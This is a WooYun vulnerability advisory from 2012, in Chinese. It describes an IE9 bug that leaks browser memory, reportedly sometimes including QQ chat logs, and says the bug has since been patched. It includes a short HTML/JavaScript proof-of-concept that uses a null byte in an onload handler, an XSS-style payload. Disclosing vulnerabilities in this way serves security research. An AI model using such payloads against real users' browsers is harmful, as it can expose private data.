WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-07328

漏洞标题：IE9浏览器中一段爆内存数据的代码，偶尔爆QQ聊天记录

相关厂商：微软

漏洞作者： gainover

提交时间：2012-05-19 22:43

修复时间：2012-05-21 13:21

公开时间：2012-05-21 13:21

漏洞类型：用户敏感数据泄漏

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2012-05-19： 积极联系厂商并且等待厂商认领中，细节不对外公开
2012-05-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

测试XSS时候，不小心试出来的， 在利用上，有待研究，欢迎高手大牛们指点，看看有没有什么可以利用的方式。 大概在4月份， 微软已经发布补丁，秘密的修复了这个漏洞。但是还是具有研究意义的。

详细说明：

<div id="a">aaaa</div>
<script>
document.getElementById("a").innerHTML="<img src='http://www.wooyun.org/logo/CNVDlogo.jpg' onload\u0000=alert('yyyyyyyyyyy{此处yyy的长度决定了可以爆出内容的多少}')></img>";
</script>

漏洞证明：

修复方案：

版权声明：转载请注明来源 gainover@乌云

漏洞回应